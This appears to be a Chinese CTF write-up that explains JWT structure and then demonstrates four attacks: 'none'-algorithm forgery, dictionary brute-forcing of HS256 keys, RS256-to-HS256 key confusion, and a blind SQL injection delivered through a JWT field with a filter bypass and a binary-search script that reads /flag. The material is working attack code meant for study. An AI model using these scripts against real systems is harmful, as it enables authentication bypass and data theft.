前言
在实际测试网站时多次遇到JWT认证,赶紧把这块知识点通过CTF题目的方式补上。
JWT 定义
JWT 全称是Json Web Token,由服务端用加密算法对信息签名来保证其完整性和不可伪造。
Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息,JWT可用于身份认证、会话状态维持、信息交换等。特别适用于分布式站点的单点登录(SSO)场景。
- 优点
- JWT可以进行跨语言支持的,如JAVA,JavaScript,NodeJS,PHP等很多语言都可以使用;
- JWT可以在自身存储一些其他业务逻辑所必要的非敏感信息;
- JWT结构简单,字节占用很小,便于传输;
- JWT不需要在服务端保存会话信息,易于应用的扩展;
- 缺点
- JWT包含认证信息,因此一旦信息泄露,任何人都可以获得令牌的所有权限;
- JWT不建议使用HTTP协议来传输代码,而是使用加密的HTTPS协议进行传输;
- 由于服务器不保存session状态,
JWT 结构
JWT是一个很长的字符串,包含头部、载荷、签名,中间用.
分割为三个部分,即
Header.Payload.Signature
下面分别学习每个部分:
- Header
Header部分是一个JSON 对象。
{
"alg": "HS256",
"typ": "JWT"
}
alg
表示签名的算法,默认HS256;
type
表示令牌的类型;
最后将Header部分的JSON 对象使用Base64URL算法转成字符串。
- Payload
Payload部分也是一个JSON 对象。
这部分有7个字段,分别是
iss (issuer):JWT的发行者
exp (expiration time):过期时间
sub (subject):JWT面向的主题
aud (audience):JWT的用户
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):JWT唯一标识
除此以外,也可以自定义字段。如:
{
"sub": "123456789",
"name": "cseroad",
"admin": true
}
最后同样将该json对象使用Base64URL算法转成字符串。
- Signature
Signature 部分是对前两部分的签名,防止数据被篡改。
首先需要一个服务器端的秘钥secretkey。然后,使用Header里面指定的签名算法(HS256(HMAC SHA256),按照公式产生签名。
公式如下:
data = base64urlEncode(header) + "." + base64urlEncode(payload)
signature = HMAC-SHA256(data,secretkey)
算法
- Base64URL算法是base64的修改版,是为了方便在web中传输使用了不同的编码表,不会在末尾填充=号,并将+和/分别改为-和_
- HMAC算法是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,它是一种对称加密算法,使用相同的密钥对传输信息进行加解密。
- RSA算法则是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
在HMAC和RSA算法中,都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。
JWT 漏洞
空密码算法
docker实验环境:
docker pull gluckzhang/ctf-jwt-token
docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token
登录失败后,会返回正确账户密码。再次登录,cookie里token就是JWT。
解码一下。在线解码地址:https://jwt.io/
将用户修改为admin,并且将alg的值改为none,借助python2的pyjwt库,该库pip直接install安装即可。
import jwt
payload = {"auth":1612336103120,"agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0","role":"admin","iat":1612336103}
print(jwt.encode(payload,None,algorithm="none"))
替换新的JWT,再次请求。
成功登录admin用户。
JWT爆破
题目来自:https://2019shell1.picoctf.com/problem/32267/
当alg指定了加密算法时,可以进行针对key的暴力破解。
python2 编写的爆破脚本:
# !/usr/bin/env python2
# -*- coding: utf-8 -*-
import jwt
import sys
def burp_jwt(jwt_json,dicts):
with open(dicts) as f:
for line in f:
key = line.strip()
try:
jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256')
print('found key! --> ' + key)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key)
break
except(jwt.exceptions.InvalidSignatureError):
print('verify key! -->' + key)
continue
else:
print("key not found!")
if __name__ == '__main__':
if(len(sys.argv) == 3):
print('User: please burp_jwt.py jwt_json dict.txt')
jwt_json = sys.argv[1]
dicts = sys.argv[2]
burp_jwt(jwt_json,dicts)
else:
print('User: please please burp_jwt.py jwt_json dict.txt')
准备好dict.txt爆破字典,运行命令如下:
python burp_jwt.py jwt_json dict.txt
爆破出key值为ilovepico。
再通过用户修改为admin,伪造jwt。
import jwt
payload = {
"user":"admin"
}
key = 'ilovepico'
encoded_jwt = jwt.encode(payload,key,algorithm='HS256').decode('utf-8')
print(encoded_jwt)
计算出admin用户的jwt值?;袢lag。
也可以利用c-jwt-cracker进行爆破。
git 该项目。docker 来破解jwt。
docker build . -t jwtcrack
docker run -it --rm jwtcrack jwt_json
修改RSA加密算法为HMAC
我们知道RSA是非对称加密算法,使用私钥secretkey加密,使用本地的public.key解密。而HMAC是对称加密算法。如果服务端期待收到的算法为RS256,而实际上收到的算法是HS256,那么服务端就可能尝试把public当作私钥secretkey,然后用HS256算法解密验证JWT。
题目来自:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php
访问就知道是JWT,且使用RS256算法。
通过扫描目录获取RSA的公钥public.pem。
下载后,运行该代码
#python2
import jwt
public = open('public.pem', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))
如果运行脚本报错。需要注释algorithms.py文件的第150行。
再次运行获得admin用户的JWT值。
send JWT即为admin用户。
sql注入
题目来自:2020 网鼎杯 玄武组 js_on,可以去ctfhub平台在线练习。
就看到一个登录框,测试弱口令admin/admin,登录获得key值。
抓取数据包可以看到使用JWT认证。
解密JWT
利用脚本添加key,修改payload部分,计算JWT
import jwt
payload = {
"user": "admin",
"news": "Hello"
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
encoded_jwt = jwt.encode(payload,key,algorithm='HS256').decode('utf-8')
print(encoded_jwt)
得到新的JWT值。
判断user参数是否存在sql注入
添加单引号,再编码得到JWT值,再发包。"user": "admin'"
判断sql注入的注入类型。"user": "admin' and 1=1#"
好像有过滤。
使用注释符/**/进行绕过。
"user": "admin'/**/and/**/1=1#"
"user": "admin'/**/and/**/1=2#"
判断为盲注。
下面就可以直接通过load_file函数读取跟目录下的flag值。
最常用的方法就是通过二分法读取。
在读取之前首先要对注入语句进行处理。
- 关键字之间添加<a>
- 空格使用注释符/**/绕过
所以一个简单的payload就有了
admin'/**/and/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),1,1))>32#
通过mid函数一位一位分割,并通过ascii码计算判断在哪两个数字之间。
结合程序来看,将payload部分进行加密,赋值token,作为cookie进行get请求,通过返回包是否匹配到hello,判断payload是否有效。
首先尝试获取第一位flag字母的ascii值,最小ascii为32,最大为127。
第一次运算,mid取32加127和的整数为79,max取127;第一位flag的ascii是否大于79,判断大于,所以mid最小值变为(79+127)/2=103,最大值为127。判断第一位flag的ascii小于103,所以要把最大值赋值为103,最小值就变为(79+103)/2=91,依次循环,直到计算出在某两个相邻数字之间。
大于98,小于100,只能是99。
以上就是利用二分法猜解出flag第一位的结果。
外面再嵌套一个for循环,遍历第二位、第三位、第四位......
完整代码为
# coding=utf-8
import jwt
import requests
import re
key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://challenge-0ee2421b156baecb.sandbox.ctfhub.com:10080/index.php"
payloadTmpl = "admin'/**/and/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"
def sql_jwt():
result = ""
for i in range(1,50):
min = 31
max = 127
while abs(max-min) > 1:
mid = (min + max)//2
payload = payloadTmpl.format(i,mid)
print(payload)
jwttoken = {
"user": payload,
"news": "hello"
}
payload = jwt.encode(jwttoken, key, algorithm='HS256').decode('utf-8')
cookies = dict(token=str(payload))
res = requests.get(url,cookies=cookies)
if re.findall("hello", res.text) != []:
min = mid
else:
max = mid
result += chr(max)
print(result)
if __name__ == "__main__":
sql_jwt()
最终获得flag。
总结
拿不到key,基本没法弄。
参考资料
https://saucer-man.com/information_security/377.html
https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
http://www.si1ent.xyz/2020/10/21/JWT%E5%AE%89%E5%85%A8%E4%B8%8E%E5%AE%9E%E6%88%98/
https://www.ghtwf01.cn/index.php/archives/1108/